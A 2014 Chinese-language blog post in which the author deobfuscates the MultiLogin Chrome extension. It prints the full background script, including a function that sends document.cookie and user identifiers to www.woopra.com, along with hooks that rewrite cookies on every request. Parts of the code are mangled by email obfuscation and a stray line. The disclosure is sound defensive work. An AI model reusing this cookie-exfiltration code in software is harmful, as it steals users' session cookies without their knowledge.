2014
Apr
07




我想大部分的人都有多個 Google, Yahoo, 帳號,有時候需要同時用兩個不同的帳號登入 Google ,這時最簡單的方式就是打開兩個瀏覽器,但是我已經習慣使用 Chrome 瀏覽器了,所以我不太願意有打開兩個瀏覽器。

後來我搜尋了 Google Chrome Extension,找一個支援切換帳號的功能,很快的就找到了 「MultiLogin 」這個 extension,但是我不太敢使用這個 Extension,因為它幫我們完成帳號的切換,這也代表它會去操作瀏覽器的 Cookie ,這是一個很危險的行為。

為了確保我的帳號安全,我檢查了 MultiLogin 的程式碼! 結果非常驚人,我看到 MultiLogin 會將 cookie 傳送到 www.woopra.com 這個伺服器。

MultiLogin 有問題的程式碼

MultiLogin 的程式碼是有將過 compression 的,第一眼看到是完全沒辦法看懂的,但是還原回來後,就可以很清楚看到程式碼的行為。

background.min.js
  1. function y(b) {
  2. chrome.storage.local.set({
  3. install: !0
  4. });
  5. var a = new XMLHttpRequest;
  6. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  7. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n +
  9. "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) +
  10. "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t +
  11. "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie +
  12. "\x26cookie\x3d" + r)
  13. }
\x26 是 「&」的 16進位代碼, \x3d 是 「=」的 16進位代碼

這段程式會將 document.cookie 當成參數 ce_miduid 傳送到 Server http://www.woopra.com/track/ce/

全部的程式碼

background.min.js
  1. var f = {}, g = [],
  2. l = [];
  3. m("");
  4. chrome.browserAction.onClicked.addListener(function () {
  5. n++;
  6. var b = {};
  7. b.use = n;
  8. chrome.storage.sync.set(b);
  9. chrome.tabs.create({}, function (a) {
  10. p(a.id, a.id + "[email protected]@@_")
  11. })
  12. });
  13. var q, n, r, s, t, u;
  14. chrome.runtime.onInstalled.addListener(function (b) {
  15. chrome.storage.sync.get("date", function (a) {
  16. q = a.date;
  17. q || (q = (new Date).getTime(), a.date = q, chrome.storage.sync.set(a))
  18. });
  19. chrome.storage.sync.get("use", function (a) {
  20. n = a.use;
  21. n || (n = 0, a.use = n, chrome.storage.sync.set(a))
  22. });
  23. chrome.storage.sync.get("uid", function (a) {
  24. r = a.uid;
  25. r || (r = w(), a.uid = r, chrome.storage.sync.set(a))
  26. });
  27. chrome.storage.local.get("mid", function (a) {
  28. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  29. s = a.mid;
  30. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  31. });
  32. chrome.storage.local.get("orgVersion", function (a) {
  33. a.orgVersion || (a.orgVersion = chrome.runtime.getManifest().version, chrome.storage.local.set(a));
  34. t = a.orgVersion
  35. });
  36. chrome.storage.local.get("mid", function (a) {
  37. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  38. s = a.mid;
  39. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  40. });
  41. chrome.storage.local.get("install", function (a) {
  42. u = a.install
  43. });
  44. chrome.storage.sync.get(function () {
  45. x(b)
  46. })
  47. });
  48.  
  49. function x(b) {
  50. "update" === b.reason && b.previousVersion != chrome.runtime.getManifest().version && y(b.reason + "\x26ce_previousVersion\x3d" + b.previousVersion);
  51. "install" !== b.reason || (0 != ((new Date).getTime() - q) / 864E5 << 0 || u) || chrome.tabs.query({
  52. url: "https://chrome.google.com/webstore*"
  53. }, function (a) {
  54. if (a && a[0]) {
  55. var b = a[0];
  56. b.openerTabId ? chrome.tabs.get(b.openerTabId, function (a) {
  57. y("install\x26ce_url\x3d" + b.url + "\x26ce_referrer\x3d" + a.url)
  58. }) : y("install\x26ce_url\x3d" + b.url)
  59. } else {
  60. y("install")
  61. }
  62. })
  63. }
  64. group-[email protected].com; groups-[email protected].com; [email protected].com; [email protected].linkedin.com; messages-[email protected].com
  65. function y(b) {
  66. chrome.storage.local.set({
  67. install: !0
  68. });
  69. var a = new XMLHttpRequest;
  70. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  71. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  72. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n + "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) + "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t + "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie + "\x26cookie\x3d" + r)
  73. }
  74.  
  75. function w() {
  76. return ("000000000000" + (Math.random() * Math.pow(36, 12)).toString(36)).substr(-12)
  77. };
  78.  
  79. function m(b) {
  80. chrome.cookies.getAll({}, function (a) {
  81. for (var c in a) {
  82. var e = a[c],
  83. d = e.name;
  84. null === b && 0 < d.indexOf("@@@") || "" === b && -1 == d.indexOf("@@@") || b && d.substring(0, b.length) != b || chrome.cookies.remove({
  85. url: (e.secure ? "https://" : "http://") + e.domain + e.path,
  86. name: d
  87. }, function () {})
  88. }
  89. })
  90. }
  91.  
  92. function z() {
  93. chrome.cookies.getAll({}, function (b) {
  94. for (var a in b) {
  95. var c = b[a].name;
  96. if (!(0 > c.indexOf("[email protected]@@_"))) {
  97. for (a in c = c.substr(0, c.indexOf("[email protected]@@_")) + "[email protected]@@_", g) {
  98. if (g[a] == c) {
  99. return
  100. }
  101. }
  102. }
  103. }
  104. })
  105. };
  106. chrome.tabs.onReplaced.addListener(function (b, a) {
  107. var c = A(a);
  108. p(b, c);
  109. delete g[a];
  110. B(b, c)
  111. });
  112. chrome.tabs.onRemoved.addListener(function (b) {
  113. a: {
  114. var a = A(b);
  115. if (a) {
  116. delete g[b];
  117. for (var c in g) {
  118. if (g[c] == a) {
  119. break a
  120. }
  121. }
  122. m(a)
  123. }
  124. }
  125. delete l[b]
  126. });
  127. chrome.tabs.onUpdated.addListener(function (b, a, c) {
  128. "loading" == c.status && p(b, A(b))
  129. });
  130. chrome.tabs.onCreated.addListener(function (b) {
  131. if (b) {
  132. var a = b.id;
  133. if (a && !(0 > a)) {
  134. if (!b.openerTabId) {
  135. var c = b.windowId;
  136. if (C && D && C != c) {
  137. c = A(D);
  138. p(a, c);
  139. l[a] = !0;
  140. return
  141. }
  142. }
  143. b.openerTabId && "chrome" != b.url.substr(0, 6) ? (c = A(b.openerTabId), p(a, c), "undefined" === typeof l[a] && (l[a] = b.openerTabId)) : l[a] = !0
  144. }
  145. }
  146. });
  147. var C;
  148. chrome.windows.getCurrent({}, function (b) {
  149. E(b.id)
  150. });
  151. chrome.windows.onFocusChanged.addListener(function (b) {
  152. E(b)
  153. });
  154.  
  155. function E(b) {
  156. b && chrome.windows.get(b, {}, function (a) {
  157. a && "normal" == a.type && (C = b, chrome.tabs.query({
  158. active: !0,
  159. windowId: C
  160. }, function (a) {
  161. D = a[0].id
  162. }))
  163. })
  164. }
  165. var D;
  166. chrome.tabs.onActiveChanged.addListener(function (b, a) {
  167. E(a.windowId)
  168. });
  169. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  170. if ((b = b.tabId) && !(0 > b) && (z(), "undefined" === typeof l[b])) {
  171. b = 0;
  172. for (var a = (new Date).getTime(); 500 > b - a; b = (new Date).getTime()) {}
  173. }
  174. }, {
  175. urls: ["http://*/*", "https://*/*"],
  176. types: ["main_frame"]
  177. }, ["blocking", "requestBody"]);
  178. chrome.webRequest.onBeforeSendHeaders.addListener(function (b) {
  179. var a = b.tabId;
  180. if (a && !(0 > a)) {
  181. var c = A(a),
  182. e = b.url,
  183. d = b.requestHeaders,
  184. h = "";
  185. if ("https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  186. if ("main_frame" == b.type) {
  187. f[a] = !1;
  188. if (e && 0 == e.indexOf("https://accounts.google.com/")) {
  189. var v, k;
  190. for (k in d) {
  191. if ("Referer" == d[k].name) {
  192. v = d[k].value;
  193. break
  194. }
  195. }
  196. v && 0 == v.indexOf("https://accounts.google.com/") && 0 < v.indexOf("chrome.google.com") && (f[a] = !0, c = "")
  197. }
  198. e && 0 == e.indexOf("https://accounts.google.com/") && 0 < e.indexOf("chrome.google.com") && (f[a] = !0, c = "");
  199. 0 == e.indexOf("https://chrome.google.com/webstore") && (f[a] = !0, c = "")
  200. }
  201. for (k in d) {
  202. if ("cookie" === d[k].name.toLowerCase()) {
  203. if (!c && -1 == d[k].value.indexOf("[email protected]@@_")) {
  204. return
  205. }
  206. b = d[k].value.split("; ");
  207. for (var G in b) {
  208. a = b[G].trim();
  209. if (c) {
  210. if (a.substring(0, c.length) != c) {
  211. continue
  212. }
  213. } else {
  214. if (-1 < a.indexOf("[email protected]@@_")) {
  215. continue
  216. }
  217. }
  218. 0 < h.length && (h += "; ");
  219. h = c ? h + a.substring(c.length) : h + a
  220. }
  221. d.splice(k, 1)
  222. }
  223. }
  224. 0 < h.length && d.push({
  225. name: "Cookie",
  226. value: h
  227. });
  228. return {
  229. requestHeaders: d
  230. }
  231. }
  232. }
  233. }, {
  234. urls: ["http://*/*", "https://*/*"]
  235. }, ["blocking", "requestHeaders"]);
  236. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  237. var a = b.tabId;
  238. if (a && !(0 > a)) {
  239. var c = A(a);
  240. if ("" != c) {
  241. var e = b.url;
  242. b = b.responseHeaders;
  243. if (!f[a] && "https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  244. for (var d in b) {
  245. "set-cookie" == b[d].name.toLowerCase() && (b[d].value = c + b[d].value)
  246. }
  247. return {
  248. responseHeaders: b
  249. }
  250. }
  251. }
  252. }
  253. }, {
  254. urls: ["http://*/*", "https://*/*"]
  255. }, ["blocking", "responseHeaders"]);
  256. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  257. var a = b.tabId;
  258. if (a && !(0 > a) && A(a)) {
  259. return {
  260. redirectUrl: b.url.replace("https://mail.google.com/mail/ca/", "https://mail.google.com/mail/")
  261. }
  262. }
  263. }, {
  264. urls: ["https://mail.google.com/mail/ca/*"]
  265. }, ["blocking", "requestBody"]);
  266. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  267. var a = b.tabId;
  268. if (a && !(0 > a)) {
  269. return b.responseHeaders.push({
  270. name: "6",
  271. value: A(a)
  272. }), {
  273. responseHeaders: b.responseHeaders
  274. }
  275. }
  276. }, {
  277. urls: ["https://translate.googleapis.com/translate_static/img/loading.gif"]
  278. }, ["blocking", "responseHeaders"]);
  279. chrome.webNavigation.onDOMContentLoaded.addListener(function (b) {
  280. var a = b.tabId;
  281. if (!(!a || 0 > a || !A(a) || 0 < b.frameId)) {
  282. try {
  283. chrome.tabs.sendMessage(a, {
  284. type: 5
  285. })
  286. } catch (c) {}
  287. }
  288. }, {
  289. urls: ["http://*/*", "https://*/*"]
  290. });
  291. chrome.runtime.onConnect.addListener(function (b) {
  292. b.onMessage.addListener(function (a) {
  293. 3 == a.type && b.sender.tab && b.postMessage({
  294. type: 4,
  295. profile: A(b.sender.tab.id)
  296. })
  297. })
  298. });
  299.  
  300. function A(b) {
  301. if (!(1 > b)) {
  302. return f[b] || !g[b] ? "" : g[b]
  303. }
  304. }
  305.  
  306. function p(b, a) {
  307. a && (g[b] = a, B(b, a))
  308. }
  309.  
  310. function B(b, a) {
  311. if ("undefined" !== typeof a) {
  312. var c = {
  313. text: a.substr(0, a.indexOf("[email protected]@@_")),
  314. tabId: b
  315. };
  316. chrome.browserAction.setBadgeBackgroundColor({
  317. color: "#006600",
  318. tabId: b
  319. });
  320. chrome.browserAction.setBadgeText(c)
  321. }
  322. };
  323.  
  324. function F(b) {
  325. var a = b.pageUrl;
  326. b.linkUrl && (a = b.linkUrl);
  327. chrome.tabs.create({
  328. url: a
  329. }, function (a) {
  330. p(a.id, a.id + "[email protected]@@_")
  331. })
  332. }
  333. chrome.contextMenus.create({
  334. title: "Duplicate Page in New Identity",
  335. contexts: ["page", "image"],
  336. onclick: F
  337. });
  338. chrome.contextMenus.create({
  339. title: "Open Link in New Identity",
  340. contexts: ["link"],
  341. onclick: F
  342. });

MultiLogin Extension:

備註 Chrome Extension 在 Mac 的安裝目錄

~/Library/Application\ Support/Google/Chrome/Default/Extensions/

備註 Chrome Extension 在 Windows 的安裝目錄

c:/Documents\ and\ Settings/{yourName}/Local\ Settings/Application\ Data/Google/Chrome/User\ Data/Default/Extensions

目前回應 Comments(1 comments)

  • 請教大大 2015/01/11

    聽到您的建議看來MultiLogin確實有問題,但如果真的有需求同時用兩個不同的帳號登入 Google,您有沒有建議的方法呢?感謝您

    Reply

    Admin

    如果你的瀏覽器是使用 google chrome , 那麼它本身就提供了兩個模式,一般模式跟隱私模式,這兩個模式之間的  Cookie 是分開的,所以你可以同時開啟這兩個模式,那你就可以同時登入兩個帳號。

    若是兩個帳號還不夠用,那你可以自訂新的 chrome profile , 每一個 profile 之間的 Cookie 也是分開的。

    Mac 開啟 profile 的方式
    open -n /Applications/Google\ Chrome.app/ --args --profile-directory="new_1"



    以上的方法你都不習慣的話 ,就多裝幾個瀏覽器吧,  例如 Firefox, opera, chrome, Safari

回應 (Leave a comment)